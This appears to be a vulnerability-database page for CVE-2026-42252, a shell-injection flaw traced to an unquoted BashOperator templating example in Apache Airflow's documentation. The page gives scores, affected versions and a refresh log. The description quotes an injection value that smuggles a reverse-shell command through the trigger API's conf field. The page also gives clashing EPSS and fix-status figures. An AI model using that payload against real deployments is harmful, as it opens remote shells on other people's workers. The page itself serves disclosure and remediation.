CVE-2026-42252

CRITICALPre-NVD 9.19.1—
EchelonGraph scoreMEDIUM confidence

Score 9.1 from GitHub Security Advisory (severity: CRITICAL) published 2026-06-01. CISA-ADP (Vulnrichment) CVSS v3.1 baseline 9.1; sources differ by 0.0.

Triggered by: GitHub Security Advisory CVSS
Sources: cisa-adp, epss, ghsa
9.1
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: 0%CVSS: 9.1Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Apache Airflow's official documentation at core-concepts/dag-run.html ("Passing Parameters when triggering Dags") showed a verbatim BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}") example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had Dag.can_trigger permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the conf field of the trigger API: an authenticated trigger user could supply "; bash -i >& /dev/tcp/.../9999 0>&1; #" as a conf value and reach an os.exec on the worker. This CVE covers the documentation correction in apache/airflow PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to apache-airflow 3.2.2 or later to pick up the corrected documentation shipped with the release.

CVSS v3
9.1
EG Score
9.1(medium)
EG Risk
—
EPSS
29.4%
KEV
Not listed

Published

June 1, 2026

Last Modified

July 21, 2026

Advisory Details (2)

Auto-updated Jun 2, 2026
Upstream fix merged — awaiting tagged release. Sources: github_pr.
generic
https://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7
github_pr

Docs: Fix inconsistency in documents when using `BashOperator` with Jinja templating

Fix merged in apache/airflow PR #64129 on 2026-03-24 — awaiting tagged release

https://github.com/apache/airflow/pull/64129

Vendor Advisories for CVE-2026-42252(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
PyPI(1)
PackageVulnerable rangeFixed inDependents
apache-airflow3.0.0 ... 3.2.2rc3 (61 versions)3.2.2—

Weakness Classification(1)

MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.

Data Freshness Timeline

(refreshed 7× in last 7d / 68× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

Showing the most recent 100 of 180 total refreshes for this CVE.

  1. 2026-07-22 14:08 UTCEPSS rescore
  2. 2026-07-21 15:24 UTCEPSS rescore
  3. 2026-07-20 17:08 UTCEPSS rescore
  4. 2026-07-19 14:31 UTCEPSS rescore
  5. 2026-07-19 02:29 UTCEPSS rescore
  6. 2026-07-18 10:04 UTCEPSS rescore
  7. 2026-07-16 17:03 UTCEPSS rescore
  8. 2026-07-15 16:57 UTCEPSS rescore
  9. 2026-07-15 02:00 UTCEPSS rescore
  10. 2026-07-13 22:30 UTCEPSS rescore
  11. 2026-07-13 06:13 UTCEPSS rescore
  12. 2026-07-12 05:46 UTCEPSS rescore
  13. 2026-07-11 08:27 UTCEPSS rescore
  14. 2026-07-09 19:10 UTCEPSS rescore
  15. 2026-07-08 22:42 UTCGHSA enrichment
  16. 2026-07-08 17:05 UTCGHSA enrichment
  17. 2026-07-06 16:27 UTCEPSS rescore
  18. 2026-07-06 16:27 UTCEPSS rescore
  19. 2026-07-06 02:23 UTCEPSS rescore
  20. 2026-07-06 02:23 UTCEPSS rescore
  21. 2026-07-05 02:30 UTCEPSS rescore
  22. 2026-07-04 06:31 UTCEPSS rescore
  23. 2026-07-02 23:09 UTCGHSA enrichment
  24. 2026-07-02 18:46 UTCGHSA enrichment
  25. 2026-07-02 12:48 UTCGHSA enrichment
Show 75 more
  1. 2026-07-02 07:54 UTCGHSA enrichment
  2. 2026-07-02 02:31 UTCGHSA enrichment
  3. 2026-07-01 18:49 UTCGHSA enrichment
  4. 2026-07-01 15:06 UTCEPSS rescore
  5. 2026-07-01 13:05 UTCGHSA enrichment
  6. 2026-07-01 08:35 UTCGHSA enrichment
  7. 2026-07-01 00:47 UTCGHSA enrichment
  8. 2026-06-30 23:22 UTCEPSS rescore
  9. 2026-06-30 05:35 UTCGHSA enrichment
  10. 2026-06-30 01:04 UTCGHSA enrichment
  11. 2026-06-29 20:41 UTCGHSA enrichment
  12. 2026-06-29 16:18 UTCGHSA enrichment
  13. 2026-06-29 11:55 UTCGHSA enrichment
  14. 2026-06-29 01:37 UTCGHSA enrichment
  15. 2026-06-28 21:14 UTCGHSA enrichment
  16. 2026-06-28 16:51 UTCGHSA enrichment
  17. 2026-06-28 14:07 UTCEPSS rescore
  18. 2026-06-28 12:28 UTCGHSA enrichment
  19. 2026-06-28 07:58 UTCGHSA enrichment
  20. 2026-06-28 04:56 UTCEPSS rescore
  21. 2026-06-28 03:35 UTCGHSA enrichment
  22. 2026-06-27 23:13 UTCGHSA enrichment
  23. 2026-06-27 18:51 UTCGHSA enrichment
  24. 2026-06-27 14:28 UTCGHSA enrichment
  25. 2026-06-27 10:06 UTCGHSA enrichment
  26. 2026-06-27 05:44 UTCGHSA enrichment
  27. 2026-06-27 03:08 UTCEPSS rescore
  28. 2026-06-27 01:22 UTCGHSA enrichment
  29. 2026-06-26 20:22 UTCGHSA enrichment
  30. 2026-06-26 16:00 UTCGHSA enrichment
  31. 2026-06-26 01:45 UTCGHSA enrichment
  32. 2026-06-25 20:35 UTCGHSA enrichment
  33. 2026-06-25 16:12 UTCGHSA enrichment
  34. 2026-06-25 13:49 UTCEPSS rescore
  35. 2026-06-25 13:49 UTCEPSS rescore
  36. 2026-06-25 11:49 UTCGHSA enrichment
  37. 2026-06-25 07:27 UTCGHSA enrichment
  38. 2026-06-25 02:59 UTCGHSA enrichment
  39. 2026-06-24 22:31 UTCGHSA enrichment
  40. 2026-06-24 15:02 UTCGHSA enrichment
  41. 2026-06-24 14:05 UTCEPSS rescore
  42. 2026-06-24 02:15 UTCGHSA enrichment
  43. 2026-06-23 21:33 UTCEPSS rescore
  44. 2026-06-22 14:25 UTCEPSS rescore
  45. 2026-06-22 14:25 UTCEPSS rescore
  46. 2026-06-21 14:56 UTCEPSS rescore
  47. 2026-06-21 14:56 UTCEPSS rescore
  48. 2026-06-21 01:59 UTCEPSS rescore
  49. 2026-06-19 19:25 UTCEPSS rescore
  50. 2026-06-18 22:06 UTCGHSA enrichment
  51. 2026-06-18 17:52 UTCEPSS rescore
  52. 2026-06-18 17:52 UTCEPSS rescore
  53. 2026-06-18 09:58 UTCGHSA enrichment
  54. 2026-06-18 02:21 UTCGHSA enrichment
  55. 2026-06-17 21:58 UTCGHSA enrichment
  56. 2026-06-17 17:53 UTCEPSS rescore
  57. 2026-06-17 17:35 UTCGHSA enrichment
  58. 2026-06-17 12:59 UTCGHSA enrichment
  59. 2026-06-17 08:29 UTCGHSA enrichment
  60. 2026-06-17 04:05 UTCGHSA enrichment
  61. 2026-06-16 23:43 UTCGHSA enrichment
  62. 2026-06-16 19:20 UTCGHSA enrichment
  63. 2026-06-16 17:52 UTCEPSS rescore
  64. 2026-06-16 14:57 UTCGHSA enrichment
  65. 2026-06-16 09:30 UTCGHSA enrichment
  66. 2026-06-16 05:08 UTCGHSA enrichment
  67. 2026-06-16 00:45 UTCGHSA enrichment
  68. 2026-06-15 20:23 UTCGHSA enrichment
  69. 2026-06-15 17:49 UTCEPSS rescore
  70. 2026-06-15 13:41 UTCGHSA enrichment
  71. 2026-06-15 09:19 UTCGHSA enrichment
  72. 2026-06-15 04:16 UTCGHSA enrichment
  73. 2026-06-14 23:54 UTCGHSA enrichment
  74. 2026-06-14 19:31 UTCGHSA enrichment
  75. 2026-06-14 15:09 UTCGHSA enrichment

Frequently asked(5)

What is CVE-2026-42252?
CVE-2026-42252 is a critical vulnerability published on June 1, 2026. Apache Airflow's official documentation at core-concepts/dag-run.html ("Passing Parameters when triggering Dags") showed a verbatim BashOperator(bashcommand="echo value: {{ dagrun.conf['conf1'] }}") example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into…
When was CVE-2026-42252 disclosed?
CVE-2026-42252 was first published in the National Vulnerability Database on June 1, 2026, with the most recent update on July 21, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
Is CVE-2026-42252 actively exploited?
CVE-2026-42252 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 29.4% percentile likelihood of exploitation in the next 30 days — higher percentiles indicate greater predicted risk.
What is the CVSS score of CVE-2026-42252?
CVE-2026-42252 has a CVSS v3.1 base score of 9.1 (CISA-ADP / Vulnrichment enrichment; NVD's own analysis pending).
How do I remediate CVE-2026-42252?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-42252, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

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